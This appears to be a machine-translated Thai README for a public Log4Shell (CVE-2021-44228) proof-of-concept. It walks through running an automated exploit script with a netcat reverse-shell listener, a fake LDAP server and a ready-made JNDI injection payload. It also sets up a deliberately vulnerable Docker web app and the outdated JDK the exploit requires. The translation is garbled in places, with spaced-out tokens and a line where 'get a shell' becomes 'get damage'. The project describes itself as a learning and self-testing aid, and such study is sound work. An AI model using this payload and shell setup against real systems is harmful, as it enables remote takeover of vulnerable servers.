ข้อพิสูจน์แนวคิดสำหรับช่องโหว่ CVE-2021-44228 ที่เพิ่งค้นพบ
ล่าสุดมีช่องโหว่ใหม่ใน log4j ซึ่งเป็นไลบรารีการบันทึก Java ที่ใช้กันอย่างแพร่หลายเช่น ElasticSearch, Minecraft และอื่นๆ อีกมากมาย
ในพื้นที่เก็บข้อมูลนี้มีตัวอย่างแอปพลิเคชันที่มีช่องโหว่และการใช้ประโยชน์จากแอปพลิเคชัน Proof-of-Concept (POC)
เนื่องจาก PoC มีไฟล์หลามที่ทำให้กระบวนการเป็นแบบอัตโนมัติ
pip install -r requirements.txt
nc - lvnp 9001
jdk1.8.0_20
และอยู่ในไดเร็กทอรีเดียวกัน $ python3 poc . py - - userip localhost - - webport 8000 - - lport 9001
[!] CVE : CVE - 2021 - 44228
[!] Github repo : https : // github . com / kozmer / log4j - shell - poc
[ + ] Exploit java class created success
[ + ] Setting up fake LDAP server
[ + ] Send me : ${ jndi : ldap : // localhost : 1389 / a }
Listening on 0.0 . 0.0 : 1389
สคริปต์นี้จะตั้งค่าเซิร์ฟเวอร์ HTTP และเซิร์ฟเวอร์ LDAP ให้กับคุณ และจะสร้างเพย์โหลดที่คุณสามารถใช้เพื่อวางลงในพารามิเตอร์ที่มีช่องโหว่อีกด้วย หลังจากนี้ถ้าทุกอย่างเป็นไปด้วยดี คุณควรได้รับความเสียหาย
มี Dockerfile พร้อมเว็บแอปที่มีช่องโหว่ คุณสามารถใช้สิ่งนี้ได้โดยทำตามขั้นตอนด้านล่าง:
1 : docker build - t log4j - shell - poc .
2 : docker run -- network host log4j - shell - poc
เมื่อรันแล้ว คุณจะสามารถเข้าถึงได้บน localhost:8080
โชคดีที่ Oracle ได้จัดเตรียมไฟล์เก็บถาวรสำหรับ Java เวอร์ชันก่อนหน้าทั้งหมด:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
เลื่อนลงไปที่ 8u20
และดาวน์โหลดไฟล์ที่เหมาะสมสำหรับระบบปฏิบัติการและฮาร์ดแวร์ของคุณ
หมายเหตุ: คุณต้องสร้างบัญชีจึงจะสามารถดาวน์โหลดแพ็คเกจได้
เมื่อคุณดาวน์โหลดและแตกไฟล์เก็บถาวรแล้ว คุณจะพบ java
และไบนารีที่เกี่ยวข้องบางส่วนใน jdk1.8.0_20/bin
หมายเหตุ: ตรวจสอบให้แน่ใจว่าได้แตกโฟลเดอร์ jdk ลงในที่เก็บนี้ด้วยชื่อเดียวกันเพื่อให้ทำงานได้
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
พื้นที่เก็บข้อมูลนี้ไม่ได้ตั้งใจให้เป็นช่องโหว่แบบคลิกเดียวไปยัง CVE-2021-44228 วัตถุประสงค์ของโครงการนี้คือเพื่อช่วยให้ผู้คนเรียนรู้เกี่ยวกับช่องโหว่นี้ และอาจทดสอบแอปพลิเคชันของตนเอง (แต่ก็มีแอปพลิเคชันที่ดีกว่าสำหรับจุดประสงค์นี้ เช่น: https://log4shell.tools/)